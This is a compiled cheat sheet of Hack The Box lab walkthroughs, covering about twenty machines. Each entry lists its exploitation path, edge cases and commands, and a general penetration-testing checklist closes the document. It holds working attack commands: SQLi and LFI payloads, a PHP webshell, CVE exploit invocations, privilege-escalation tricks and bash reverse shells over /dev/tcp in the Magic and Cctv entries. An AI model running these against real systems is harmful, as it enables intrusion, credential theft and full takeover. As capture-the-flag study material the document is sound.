sudo /usr/local/sbin/changename.sh # answer: a /bin/bash
Notes: File uploads · Programs, jobs and services · Writeup: source
UpDown
Path: SSRF is a dead end → dev vhost needs a magic header (leaked .htaccess) → .git dump → code review → LFI with phar:// → proc_open bypasses disable_functions → setuid Python2 input() eval → sudo easy_install → root.
Edge cases:
dev.siteisup.htbis 403 by design:.htaccessusesSetEnvIfNoCase Special-Dev "only4dev"+Deny from All/Allow from env=→ sendSpecial-Dev: only4dev. Rules are processed in order and the last match wins — read.htaccesslogic, don’t just assume basic auth..gitsat on the subdomain root, missed by the wordlist — check.gitmanually on every vhost;git-dumperreconstructs it (may needgit config --global --add safe.directory).- Upload denylist blocks
php, php[0-9], html, py, pl, phtml, zip, rar, gz, tar— butphar://reads any archive regardless of extension: uploadrev.0xdf(zip rev.0xdf rev.php) and call?page=phar://uploads/<md5>/rev.0xdf/rev(the app appends.php). Zip upload crashes theunlink(), so the file survives;/uploadsis cron-cleaned every 5 minutes — act fast or re-upload. - Heavy
disable_functions: verify withphpinfo()+dfunc-bypasser(python2; must be patched to send the dev header).proc_openwas not disabled → shell viadescriptorspec.siteisupsetuid binary just calls/usr/bin/python /home/developer/dev/siteisup_test.py; Python2input()=eval→__import__('os').system('bash').sudo easy_install <dir>executessetup.py→ root. Beyond root: LFI→RCE with a PHP filter chain when you cannot write a file at all.
Commands to remember:
curl -H 'Special-Dev: only4dev' http://dev.siteisup.htb/
git-dumper http://siteisup.htb/dev/.git/ .
./siteisup # then: __import__('os').system('bash')
sudo easy_install /tmp/0xdf/ # setup.py with os.system
Notes: LFI · Shells and payloads · Writeup: source
Swagshop
Path: Magento 1 store → shoplift adds an admin → authenticated PHP object injection RCE (needs install_date) → sudo vi → root.
Edge cases:
- Version fingerprinting is murky on purpose:
/downloader/(Magento Connect Manager) shows a version but has since been removed from the box;RELEASE_NOTES.txtstops at 1.7.0.2. Fall back tosearchsploit magentoand try the authenticated 1.9 RCE. Admin add:python poc.py <ip>prints generated creds; log in at/index.php/admin(not/admin). 37811.pybreaks withControlNotFoundErrorunless the target URL includes/index.php/admin; it also needs the exactinstall_datecopied from/app/etc/local.xml(<date><![CDATA[...]]></date>) — this is the keyed-hash secret, not a version string.- Alternative (patched here): upload a malicious Magento package via
/downloader/withpackage.xml+ MD5 hash → webshell inerrors/. sudo /usr/bin/vi /var/www/html/*: the wildcard is a prefix check, sosudo /usr/bin/vi /var/www/html/../../../root/root.txtreads the flag; for a shell usesudo vi /var/www/html/x -c ':!/bin/sh'or:set shell=/bin/sh+:shell.
Commands to remember:
curl -s http://IP/app/etc/local.xml | grep date
python magento_rce.py 'http://IP/index.php/admin' "id"
sudo /usr/bin/vi /var/www/html/../../../root/root.txt
sudo vi /var/www/html/a -c ':!/bin/sh'
Notes: Miscellaneous techniques · Fuzzing · Writeup: source
Nineveh
Path: Port 80 and 443 host different apps → /department login bypass (type juggling) → LFI with a ninevehNotes substring filter → phpLiteAdmin writes a .php DB → RCE; steghide key + port knocking → chkrootkit → root.
Edge cases:
- Two web roots on the same hostname: 80 gives
/info.php+/department, 443 gives/db(phpLiteAdmin 1.9) and/secure_notes. Enumerate both schemes (andgobuster -k). - Auth bypass is PHP type confusion, not SQLi:
username=admin&password[]=makesstrcmp(array(),$pass)returnNULL == 0→ true. (HackTricks: tryuser[]=a&pwd=bvariants on any PHP login.) The LFI filters on the literal stringninevehNotes, so plain traversal prints “No Note is selected.” Bypasses:files/ninevehNotes/../../../../etc/passwd, or?notes=/ninevehNotes/../var/tmp/<shell>.php— PHP cancels the fake dir while the check still matches. - phpLiteAdmin RCE: create a database named
*.php, create a table with one text field whose default value is the PHP payload (use double quotes — single quotes are consumed by SQLite) → payload lands in/var/tmp/<name>.php, then reach it through the LFI. - Steg:
/secure_notes/nineveh.pnghas an RSA key +user@hostinstrings, and a whole tar appended (binwalk -egivesnineveh.priv/.pub) → usernameamroisfor SSH. SSH is filtered byknockd(/etc/knockd.conf): sequence571,290,911within 5s; knock with threenmapcalls, or justsshfrom localhost on the box. Root:/reportshows chkrootkit running per-minute; chkrootkit 0.49 has the unquotedSLAPPER_FILESloop bug (CVE-2014-0476) → drop an executable at/tmp/updateand wait.
Commands to remember:
# login POST: username=admin&password[]=
# LFI: ?notes=/ninevehNotes/../var/tmp/x.php&cmd=id
binwalk -e nineveh.png; strings -n 20 nineveh.png
for i in 571 290 911; do nmap -Pn --host-timeout 100 --max-retries 0 -p $i <ip> >/dev/null; done
searchsploit chkrootkit # 33899
Notes: LFI · Programs, jobs and services · Writeup: source
Pandora
Path: UDP/161 SNMP → creds in a process command line → SSH daniel → internal-only vhost on localhost:80 running Pandora FMS 7.0NG.742 → SQLi → session cookie → RCE → SUID backup PATH hijack → root.
Edge cases:
- UDP is part of recon:
nmap -sU -top-ports=100found 161.snmpwalk -v2c -c publicis slow;snmpbulkwalk -Cr1000is dramatically faster. Process args are the gold:HOST-RESOURCES-MIB::hrSWRunParameterscontainedsudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc <password>. Re-joinhrSWRunName.<pid>withhrSWRunParameters.<pid>to rebuildps. - The vhost is
<VirtualHost localhost:80>withAssignUserID matt matt(mpm-itk) — invisible externally. Read/etc/apache2/sites-enabled/*.confafter foothold, thenssh -L 9001:localhost:80. - SQLi in
/pandora_console/include/chart_generator.php?session_id=($_REQUEST, so GET works):' union select 1,2,3;-- -fixes the column count; sqlmap finds boolean/error/time-based (not UNION). Session hijack: dumptsessions_php(filterdata<>''), thenwfuzz -b PHPSESSID=FUZZover the ids — the valid one returns a much larger page. Or injectid_usuario|s:5:"admin";via UNION to become admin. - SUID/sudo fail from a webshell: mpm-itk’s per-vhost UID switching blocks setuid elevation. Get a real login (drop
authorized_keysas matt) before privesc.pandora_backup(SUID) callssystem("tar ...")with no path →export PATH=/dev/shm:$PATH+ faketar= root (ltrace confirms the call).
Commands to remember:
snmpbulkwalk -Cr1000 -c public -v2c <ip> > snmp.txt; grep hrSWRunParameters snmp.txt
ssh -L 9001:localhost:80 daniel@<ip>
sqlmap -u 'http://pandora.panda.htb:9001/pandora_console/include/chart_generator.php?session_id=1'
ltrace ./pandora_backup; export PATH=/dev/shm:$PATH; echo -e '#!/bin/bash\nbash' > tar; chmod +x tar
Notes: SNMP · Environment variables abuse · Writeup: source
OpenAdmin
Path: Default Apache page → /ona = OpenNetAdmin 18.1.1 → xajax command injection → www-data → DB creds from config → su jimmy → internal vhost on 127.0.0.1:52846 → joanna’s encrypted key → sudo nano → root.
Edge cases:
/musicis filler; the useful link is the “Login” pointing to/ona— click links instead of only brute-forcing. The ONA exploit is one POST body; the trailing slash on/ona/matters (without it the injection fails). Wrap the command inecho BEGIN; ...; echo ENDand sed between markers for clean output.- Credentials live in
/var/www/html/ona/local/config/database_settings.inc.php(db_login/db_passwd) and are reused for the system userjimmy(su jimmy). The second-stage site is bound toListen 127.0.0.1:52846in/etc/apache2/sites-enabled/internal.confand runs as joanna (AssignUserID); tunnel withssh -L, and note the symlink/var/www/ona -> /opt/ona/www. - Two ways in: drop a PHP webshell in
/var/www/internal(runs as joanna), or log in with hardcodedjoanna:joannainindex.phpto get a passphrase-protectedid_rsa. The key passphrase is not the DB password:ssh2john→ john with agrep -i ninja rockyou.txtshortlist →openssl rsa. sudo /bin/nano /opt/priv(GTFOBins nano):^R^X, thenreset; sh 1>&0 2>&0— plain/bin/shhangs because stdio is still attached to nano.
Commands to remember:
curl -s -d "xajax=window_submit&xajaxr=<ts>&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping" http://host/ona/
ssh -L 52846:localhost:52846 jimmy@host
ssh2john joanna-enc > h; john --wordlist=ninja.txt h; openssl rsa -in joanna-enc -out id_rsa
sudo /bin/nano /opt/priv # ^R ^X, then: reset; sh 1>&0 2>&0
Notes: Pivoting and tunneling · Miscellaneous techniques · Writeup: source
Precious
Path: URL→PDF microservice → pdfkit 0.8.6 command injection (CVE-2022-25765) → ruby → ~/.bundle/config creds → henry → sudo ruby update_dependencies.rb unsafe YAML → root.
Edge cases:
- Fingerprint from the artifact, not the headers:
exiftoolon the generated PDF showsCreator: Generated by pdfkit v0.8.6; response headers only reveal nginx + Phusion Passenger. The service blocks metadata/local targets (127.0.0.1,file://) — don’t sink time into SSRF here. - Payload is backticks inside a URL parameter:
http://10.10.14.6/?name=%20`id`; the leading%20(encoded space) is what makes commands with spaces work. This survives because PDFKit interpolates the URL into a shell command. ~/.bundle/config(modedr-xr-xr-x) storesBUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<pass>"— Bundler/RubyGems credentials are a classic lateral-movement file; test withsu - henryand over SSH.- Root:
sudo ruby /opt/update_dependencies.rbcallsYAML.load(notsafe_load) ondependencies.yml. The gadget chain (Gem::Installer/Gem::SpecFetcher/Gem::Requirement/Net::WriteAdapterwithKernel.system) executes as root. Relative path pitfall: the script readsdependencies.ymlfrom the CWD, socd /dev/shmand run sudo from there; theidoutput is buried in a Ruby traceback — don’t miss it.
Commands to remember:
exiftool out.pdf | grep Creator
# url=http://10.10.14.6/?name=%20`id`
cat ~/.bundle/config
sudo ruby /opt/update_dependencies.rb # from the dir containing dependencies.yml
# PAYLOAD: !ruby/object:Gem::Requirement + Net::WriteAdapter → method_id: :system, git_set: <cmd>
Notes: PDF generators · Miscellaneous techniques · Writeup: source
Busqueda
Path: Flask “Searcher” using Searchor 2.4.0 → eval() injection in the query → svc → .git/config creds → Gitea → docker-inspect env leak → MySQL → admin → system-checkup.py full-checkup CWD hijack → root.
Edge cases:
- Searchor 2.4.0 builds
eval(f"Engine.{engine}.search('{query}', ...)"); payload lives in query:' + __import__('os').popen('id').read() + '. Encoding pitfall: in Burp, select only the payload and Ctrl-u (URL-encode once).+must become%2b, but spaces must become+— double-encoding breaks it. .git/configin the webroot containsurl = http://cody:<pass>@gitea.searcher.htb/...→ both a vhost to enumerate and reusable creds (svc’s real name is cody).sudo -loutput ends with*, which means no-argument invocation is denied — you must pass an action string or you get “Sorry, user svc is not allowed”.docker-inspectabuses Go templates: pass'{{json .}}'and pipe tojqto read containerEnv(DB password) andNetworkSettings.Networks(container IP, reachable after the foothold). Gitea alternative: dump theusertable from MySQL (bcrypt, uncracked) then reuse the DB password foradministrator→ privatescriptsrepo = source of the sudo script.full-checkupruns./full-checkup.shrelative to CWD → write it in/dev/shm,chmod +x, run sudo from there (copy bash + chmod 4777).
Commands to remember:
# query: ' + __import__('os').popen('id').read() + '
cat /var/www/app/.git/config
sudo python3 /opt/scripts/system-checkup.py docker-ps
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
echo -e '#!/bin/bash\ncp /bin/bash /tmp/x\nchmod 4777 /tmp/x' > full-checkup.sh
Notes: OS command injection · Programs, jobs and services · Writeup: source
Monitored
Path: SNMP process args → svc creds (valid but disabled) → Nagios XI API authenticate token → CVE-2023-40931 SQLi → xi_users.api_key → create admin via API → command RCE → root via writable service binary or getprofile.sh symlink.
Edge cases:
- SNMP again:
hrSWRunParametersfor asudoprocess leaked-u svc /bin/bash -c /opt/scripts/check_host.sh svc <pass>. Login with it fails, but the error text differs for a valid-yet-disabled account vs. a bad password — read login errors, and retry those creds against the API instead of the UI. - Token flow (poorly documented):
POST /nagiosxi/api/v1/authenticatewithusername+password(+valid_min) returns a token;?apikey=rejects it, buthttps://host/nagiosxi/?token=<token>logs you in and sets a session cookie. CVE-2023-40931: authenticated SQLi onPOST /nagiosxi/admin/banner_message-ajaxhelper.phpwithid=3&action=acknowledge_banner_message; sqlmap needs--cookie "nagiosxi=<sess>"and-p id. No real banner ID required. xi_usersgivesapi_keyper user (hashes didn’t crack) → with admin’s key,POST /api/v1/system/user+auth_level=admincreates an admin (no admin session needed) — the easiest pivot from API to UI. RCE is GUI-only-ish: Core Config Manager → Commands → addbash -c '<revshell>', then Hosts → localhost → set Check command → “Run Check Command”.- Root path A:
/usr/local/nagios/bin/nagiosis owned/writable by nagios and is the systemdExecStart; replace it andsudo manage_services.sh restart nagios(service “fails” but the script ran). Root path B (cleaner):ln -sf /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log, runsudo getprofile.sh <name>, thenunzip -p profile.zip profile-*/phpmailer.log—zipfollows the symlink and stores root’s key.
Commands to remember:
snmpwalk -v2c -c public host | tee snmp.txt
curl -k -d 'username=svc&password=<pw>&valid_min=5' https://host/nagiosxi/api/v1/authenticate
sqlmap -u 'https://host/nagiosxi/admin/banner_message-ajaxhelper.php' --data='id=3&action=acknowledge_banner_message' -p id --cookie 'nagiosxi=<sess>' --batch --dbs
ln -sf /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log; sudo getprofile.sh x; unzip -p profile.zip 'profile-*/phpmailer.log'
Notes: SNMP · Programs, jobs and services · Writeup: source
BoardLight
Path: Dolibarr CRM on crm.board.htb → default creds → PHP-injection CVE in the website builder → conf.php password reuse → Enlightenment SUID LPE → root.
Edge cases:
- The web root is a static PHP site; the real target only appears via vhost fuzzing (
crmvhost), and it accepts defaultadmin:admin. The website builder’s PHP injection is CVE-2023-30253. - Dolibarr’s filter for PHP tags is case-sensitive:
<?Php ... ?>saves fine, and the payload only executes in preview when “Show dynamic content” is enabled. conf.phpalso shipsconf.php.old/.example; the DB password (serverfun2$2023!!) is reused for the OS userlarissa(suand SSH).ps auxwwlooks empty because/procis mountedhidepid=invisible(verify withmount | grep ^proc) — don’t conclude “no processes”; desktop-style home dirs hint at a GUI WM ⇒ check Enlightenment SUIDs. CVE-2022-37706 manual exploit needs a real directory literally named;and a matching argument path — the POC hides this.
Commands to remember:
ffuf -u http://IP -H "Host: FUZZ.board.htb" -w subdomains-top1million-20000.txt -mc all -ac
feroxbuster -u http://IP -x php
mkdir -p "/tmp/;/tmp/0xdf"; echo /bin/bash > /tmp/0xdf; chmod +x /tmp/0xdf
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/0xdf" /tmp///net
Notes: Miscellaneous techniques · Fuzzing · Writeup: source
Magic
Path: SQLi login bypass → webshell upload with double extension → DB creds → SUID sysinfo PATH hijack → root.
Edge cases:
- Login bypass is plain
' or 1=1-- -; no username enumeration needed. - The upload has an extension allow-list and an
exif_imagetypemagic-byte check: keep a real PNG header, but put the PHP in the middle of the file. .htaccessFilesMatch ".+\.ph(p([3457s]|-s)?|t|tml)"has no$anchor, soshell.php.pngis executed as PHP in/images/uploads/.- The
mysqlclient is absent butmysqldumpexists — dump in place instead of tunnelling.ltraceon the SUID binary revealspopen("fdisk -l")with no full path ⇒ PATH hijack (any oflshw/fdisk/cat/free).sysinfois SUID but only executable by groupusers; the low-priv user is the sole member.
Commands to remember:
# login: ' or 1=1-- -
cp img.png avatar.php.png # insert <?php system($_GET['cmd']); ?> mid-file
mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
ltrace sysinfo | grep popen
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/IP/443 0>&1' > /dev/shm/fdisk; chmod +x /dev/shm/fdisk; export PATH=/dev/shm:$PATH; sysinfo
Notes: File uploads · Miscellaneous techniques · Writeup: source
Help
Path: GraphQL on :3000 leaks creds → HelpDeskZ login → blind SQLi in the attachment URL → SSH → old-kernel LPE → root.
Edge cases:
- Don’t stop at the Apache default page on :80 — port 3000 is the GraphQL API; a GET to
/graphqlplus introspection gives theuserquery, which returns a hash directly. - HelpDeskZ authenticated blind SQLi lives in the last
param[]of the ticket-attachment download URL; true/false = attachment vs “Whoops!”. - Unintended path:
verifyAttachment()rejects the PHP upload but never deletes the temp file, so it stays in/support/uploads/tickets/undermd5(filename+time).php; brute force the timestamp and account for target clock skew (widen past the script’s default 5 min). - Root is just kernel: 4.4.0-116 → CVE-2017-16995 (
44298.c/45010.c) or s-nail CVE-2017-5899.
Commands to remember:
curl -s IP:3000/graphql -H "Content-Type: application/json" -d '{"query":"{ __schema { queryType { name } } }"}' | jq
curl -s IP:3000/graphql -H "Content-Type: application/json" -d '{"query":"{ user { username password } }"}'
sqlmap -r ticket.request --level 5 --risk 3 -p 'param[]' --dump
gcc -o a 44298.c && ./a # from /dev/shm
Notes: SQL injection · Miscellaneous techniques · Writeup: source
Editorial
Path: Flask book site /upload-cover SSRF → internal API creds → git history → GitPython ext:: RCE via sudo → root.
Edge cases:
/upload(the form page) is a decoy; SSRF is the AJAX/upload-coverendpoint and it needs a multipartbookfilepart or it 400s. Field name isbookurl, and the response is a relative path you must then GET (/static/uploads/<uuid>).- SSRF reaches an internal API on
127.0.0.1:5000; the “authors” welcome template containsdev : dev080217_devAPI!@. ~/appsgit history holds theprodpassword (git log -p | grep -i password).- The sudo rule is not NOPASSWD (needs
sudo -S), and GitPython clones withmulti_options=["-c protocol.ext.allow=always"]; spaces and;in theext::URL get mangled, so drop a script in/tmpand callext::sh -c /tmp/p.sh;clone_fromthrows after the side effect (the error is expected).
Commands to remember:
curl -s -X POST http://editorial.htb/upload-cover -F bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors -F bookfile=@/etc/hostname
git log -p | grep -i password
echo "$PASS" | sudo -S /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/p.sh'
Notes: SSRF · Programs, jobs and services · Writeup: source
Builder
Path: Jenkins on :8080 → CVE-2024-23897 CLI file read → bcrypt hash → admin → SSH key recovery → root SSH.
Edge cases:
- CVE-2024-23897 is only a partial file read: the first line of the target file is consumed as the CLI command and the next as an argument, so single-line files (
/var/jenkins_home/user.txt, hostname) are trivial and multi-line files come back scrambled. Adding a dummy arg (a) reduces output to one line. - To get whole files, try many subcommands (
connect-node,delete-job,offline-node,reload-job) that accept many args. users/users.xmlgives the directory name, thenusers/<name>/config.xmlleaks<passwordHash>#jbcrypt:$2a$10$...→ hashcat-m 3200 --user(the#jbcryptprefix is parsed as a username).- The Jenkins credential ID was
1, not the display name; pipelinesshagent (credentials: ['1'])+sh 'ssh ... root@host cat /root/.ssh/id_rsa'recovers root’s key. Decrypting the hidden base64 field from the admin UI via Script Console is an alternative.
Commands to remember:
wget http://IP:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://IP:8080 help '@/etc/passwd' a
java -jar jenkins-cli.jar -s http://IP:8080 reload-job '@/var/jenkins_home/users/users.xml'
hashcat -m 3200 hash --user rockyou.txt
Notes: Jenkins · Password attacks · Writeup: source
Linkvortex
Path: Ghost blog → dev vhost with exposed .git → CVE-2023-40028 symlink-zip file read → config creds → root via sudo clean_symlink.sh.
Edge cases:
- Two separate vhosts: the main Ghost site and
dev.linkvortex.htb; nmap’shttp-gitscript (not feroxbuster) finds the repo.git-dumper, thengit status+git diff --cachedshows a modified Ghost test file with a plaintext password — the login isadmin@linkvortex.htb, notadmin. - CVE-2023-40028: zip a symlink (
zip -y), POST asimportfileto/ghost/api/admin/dbwith theghost-admin-api-sessioncookie, then GET the path under/content/images/; the in-memory Python version needsZipInfo.create_system=3andexternal_attr |= 0xA0000000. - Read
/var/lib/ghost/config.production.json(path leaked byDockerfile.ghostin the repo) for SMTP creds, validated withnetexec ssh. - sudoers allows
bash /opt/ghost/clean_symlink.sh *.pngNOPASSWD withenv_keep+=CHECK_CONTENT. Three wins: double symlink, TOCTOU, andCHECK_CONTENT=bash(becauseif $CHECK_CONTENT;thenexecutes the variable).fs.protected_symlinks=1means the inner link must live outside sticky world-writable dirs (/tmp,/dev/shm).
Commands to remember:
git-dumper http://dev.linkvortex.htb source; git -C source status; git -C source diff --cached
ln -s /etc/passwd content/images/x.png; zip -y -r poc.zip content/images/
curl -F 'importfile=@poc.zip' -b 'ghost-admin-api-session=<sess>' http://linkvortex.htb/ghost/api/admin/db
CHECK_CONTENT=bash sudo bash /opt/ghost/clean_symlink.sh a.png
Notes: Programs, jobs and services · Fuzzing · Writeup: source
UnderPass
Path: SNMP public leaks hostname/daloRADIUS → default operator creds → user hash → SSH → sudo mosh-server → root.
Edge cases:
- TCP looks like a bare Apache default page; the way in is UDP/161 — a full TCP scan misses it.
snmpwalk/nmap -sUleak the vhost name and the word “daloradius”. /daloradiusreturns 403, not 404 (a directory exists) and the string is missing from normal wordlists; 403-vs-404 triage is the discovery trick.- daloRADIUS operator login is
administrator:radius(default), distinct from the users login; the user table leaks an MD5 that cracks on CrackStation. - Username case matters:
svcMosh, notsvcmosh— brute-forcing with an all-lowercase list fails. sudo allows/usr/bin/mosh-serverNOPASSWD: start it as root, capture the printed port/key, then connect as the unprivileged user withMOSH_KEYexported. Sessions are short-lived;mosh-clienterrors withoutMOSH_KEY.
Commands to remember:
sudo nmap -sU --min-rate 10000 IP
snmpwalk -v 2c -c public IP | tee snmp_data
sudo mosh-server # MOSH CONNECT 60001 <key>
MOSH_KEY=<key> mosh-client 127.0.0.1 60001
Notes: SNMP · Miscellaneous techniques · Writeup: source
Dog
Path: Backdrop CMS with exposed .git → config/email leak → admin module upload RCE → password reuse → sudo bee eval → root.
Edge cases:
- nmap’s
http-gitscript plus theX-Generator: Backdrop CMS 1header give the whole path before any fuzzing;git-dumperthengrep -r '@dog.htb'findstiffany@dog.htbin a config JSON whilesettings.phpgivesmysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop. - Version is not in the page: directory listing exposes
core/profiles/testing/testing.info(version = 1.27.1). CVE-2024-41709 is a false lead; the “exploit” is just admin module upload. - A malicious module (
reference.tarwithshell.php) installs to/modules/reference/shell.php, but a cleanup script removes it fast — upload and hit it immediately. sudo /usr/local/bin/bee;bee evalneeds a bootstrapped site: run from/var/www/htmlor pass--root=/var/www/html(=required;--root /pathfails with “1 is not a valid directory”).
Commands to remember:
git-dumper http://IP/ repo; grep -r '@dog.htb' repo
curl http://IP/core/profiles/testing/testing.info
sudo bee status --root=/var/www/html
sudo bee eval 'system("bash")'
Notes: File uploads · Miscellaneous techniques · Writeup: source
Cctv
Path: ZoneMinder /zm admin:admin → CVE-2024-51482 SQLi → bcrypt crack → SSH mark → tcpdump caps → sniff sa_mark creds → motionEye RCE → root.
Edge cases:
- The SQLi (
event.php,action=removetag&tid=) is blind/time-based and painfully slow; turning it into a boolean UNION makes dumping minutes instead of hours:--prefix="1 UNION SELECT 1,2,3,4 WHERE " --code 200 --technique=B(four columns; false ⇒ HTTP 500).ZMSESSIDexpires fast, so keep the request file fresh. getcap -r /shows/usr/bin/tcpdump cap_net_raw=eip— capture on the Docker bridge and read the custom port-5000 protocol in Wireshark; it sendsUSERNAME=sa_mark;PASSWORD=...;CMD=disk-infoin clear./procishidepid=invisible, so don’t rely onpsto find the service.- motionEye is bound to
127.0.0.1:8765→ssh -L; login isadmin+ reusedsa_markpassword. - CVE-2025-60787: inject into
image_file_name. The server validates_signature= signature over method+URI+body+admin password/hash, so you must submit through the UI; client-sidefilenameValidRegExpblocks$()/quotes — bypass withconfigUiValid = function() { return true; };in devtools (or loosen the regex), then Apply and take a snapshot. The payload runs as root because motion/motionEye run as root.
Commands to remember:
sqlmap -r removetag.request -p tid --batch --prefix="1 UNION SELECT 1,2,3,4 WHERE " --code 200 --technique=B -D zm -T Users --dump
hashcat -m 3200 zm.hashes --user rockyou.txt
timeout 120 tcpdump -i any -w ~/capture.pcap
ssh -L 8765:localhost:8765 sa_mark@cctv.htb
# payload: $(bash -c 'bash -i >& /dev/tcp/IP/443 0>&1').%Y-%m-%d-%H-%M-%S
Notes: Capabilities abuse · SQL injection · Writeup: source · alt
Cross-machine patterns
Use this as a pre-exploitation and post-exploitation checklist. Each item names the boxes where it decided the outcome.
Recon before exploitation
- Full TCP scan and a UDP pass — SNMP, NFS and mountd hide there (Enigma, Mentor, Pandora, UnderPass, Monitored).
- Vhost fuzzing with auto-calibration (
-ac), not only status filtering — wildcard redirects and empty 200s mislead (Keeper, Editor, Mentor, Silentium, BoardLight, Linkvortex). - Check
.git/.svn,/backup/*.tar, and config backups manually; wordlists miss them (Pilgrimage, UpDown, Linkvortex, Dog, Networked, Enigma). - Use nmap
http-git/http-generatorbefore brute force (Pilgrimage, Dog, Linkvortex). - Read 403-vs-404: a directory can exist without a listing (UnderPass, UpDown).
Credentials
- Defaults first: product admin panels and old services (
root:root,root:password,admin:admin,administrator:radius) (Solidstate, Keeper, BoardLight, UnderPass, Cctv). - Box-name or guessable passwords still work (Nibbles, Sunday, Irked, Cctv).
- Harvest pairs from configs and artifacts:
config.inc.php,conf.php,hibernate.cfg.xml,application.properties,settings.php,.git/config,~/.bundle/config, containerenv(Enigma, Editor, Cozyhosting, Devvortex, BoardLight, Dog, Busqueda, Precious, Silentium). - Reuse every pair against SSH,
su, and the app itself — a DB password is often an OS password (Enigma, Editor, Devvortex, Tabby, Magic, BoardLight, Dog, UnderPass). - Mail is a credential transport: POP3/IMAP pillaging beats reset flows (Solidstate, Enigma).
- Version strings can lie; read changelogs and
readme.txt(Tartarsauce).
Web to shell
- Upload filters:
Content-Typeonly (Popcorn), extension after first dot plusAddHandler(Networked), missing$anchor in.htaccess(Magic), case-sensitive PHP tag filter (BoardLight), orphaned temp file (Help), module install (Dog). - LFI/RFI nuance: fixed include filename (Tartarsauce),
phar://regardless of extension (UpDown), substring filter plus../(Nineveh), log poisoning (Poison), phpMyAdmin session include with%3f(Jarvis). - SQLi as a write primitive:
INTO OUTFILEwithFile_priv=Y(Jarvis), stackedINSERTinto a job table (Connected), DB name ending in.php(Nineveh). - Injection in less obvious fields: JSON
path(Mentor), Searchoreval()(Busqueda),simpler.pyblacklist missing$()(Jarvis),image_file_name(Cctv), PDFKit URL (Precious), xajaxip=>(OpenAdmin). - Deserialization/sandbox: vm2 (Codify), Ruby
YAML.load(Precious), PHP object injection (Swagshop), GitPythonext::(Editorial), NodeFunction()(Silentium). - SSRF where the metadata target is blocked: pivot to an internal API instead (Editorial, UpDown).
CVE reflexes
- Fingerprint the bundled binary, not only the web app: ImageMagick 7.1.0-49, binwalk 2.3.2, pdfkit 0.8.6, Ghost, Jenkins, Flowise (Pilgrimage, Precious, Linkvortex, Builder, Silentium).
- Adapt POCs instead of trusting them: trailing slash (OpenAdmin),
/index.php/admin+install_date(Swagshop),%20before backticks (Precious), partial file read (Builder), keyed request signature (Cctv). - Know the false leads: Monstra uploads are root-owned (Tartarsauce), Broker’s 8161/80 admin UIs are a dead end, CVE-2024-41709 is not the Dog path, phpMyAdmin exploits need creds, Tomcat has no public RCE (Jarvis, Tabby).
Linux privilege escalation
-
sudo -lfirst, then GTFOBins with the odd flags:wget(Sunday),ssh -o ProxyCommand(Cozyhosting),tar --checkpoint-action(Tartarsauce),viwildcard prefix (Swagshop),nano^R ^X(OpenAdmin),easy_install(UpDown),nginx -c(Broker),mosh-server(UnderPass),bee eval(Dog),apport-clipager (Devvortex). - Read the whole sudo command line: an unquoted comparison accepts
*(Codify),./script.shruns from your CWD (Busqueda),env_keepturns a variable into a command (Linkvortex),getprofile.shzips through a symlink (Monitored). - Root-owned jobs: world-writable scripts (Nibbles, Solidstate),
inotifywaittriggers (Pilgrimage),*.pyglob cron (Bashed),backupererrace (Tartarsauce), incron sourcing a writable config (Connected), filename injection intorm -f(Networked), chkrootkit 0.49 (Nineveh). - SUID and PATH:
ndsudo(Editor),viewuser(Irked),sysinfo(Magic),pandora_backup(Pandora),systemctlunit in/dev/shm(Jarvis), Enlightenment with a literal;directory (BoardLight). - Groups and capabilities:
lxd(Tabby),tcpdump cap_net_raw(Cctv). - Kernel/PAM fallbacks: 4.4.0-116 (Help), Ubuntu 9.10 PAM MOTD + DirtyCow (Popcorn).
Tunnels and hidden services
-
ss -tnl/netstatafter landing, and readsites-enabled/*.confforListen 127.0.0.1(OpenAdmin, Pandora, Editor). -
ssh -Lfor one or two services;ssh -D+ proxychains for VNC/GUI (Poison, Enigma, OpenAdmin, Pandora, Cctv). - Localhost-only admin panels: OliveTin 1337, Netdata 19999, motionEye 8765, VNC 5901, MySQL 3306.
- mpm-itk/
AssignUserIDvhosts block setuid from a webshell — get a real login first (Pandora).
Hashes
-
$5$→-m 7400(Sunday); bcrypt$2a$/$2y$→-m 3200and force it, with--userwhen a prefix precedes the hash (Codify, Devvortex, Builder, Cctv). - MD5 hashes crack on CrackStation (UnderPass, Help);
unshadowbefore cracking copied/etc/shadowfiles.
Pitfalls that cost the most time
- Pipes and redirects inside Java/Groovy/Node contexts become literal filenames; stage a script and
bashit (Editor, Cozyhosting, Silentium). - URL-encoding: “encode all characters” in Burp, keep
%20where a space is needed, encode+as%2b(Editor, Precious, Silentium, Busqueda). - A response that looks like an error may mean success: clone_from traceback, “No available actions”, “Something went wrong”,
mv: cannot stat(Editorial, Silentium, Monitored). - Client-side validation is not validation, but server-side signatures are: edit through the UI (Cctv).
-
hidepid=invisiblemakespslook clean — services still exist (BoardLight, Cctv). - Target clock skew breaks timestamp brute force (Help);
fs.protected_symlinksblocks symlinks in sticky dirs (Linkvortex). - Shared-lab artifacts get overwritten — append and re-check (Nibbles).
-
python -m http.servercannot receive a POST; usenc -lnvp(Sunday). - Verify execution out-of-band (listener,
tcpdump, file timestamp) before abandoning a payload (Silentium, Monitored, Busqueda, Editorial).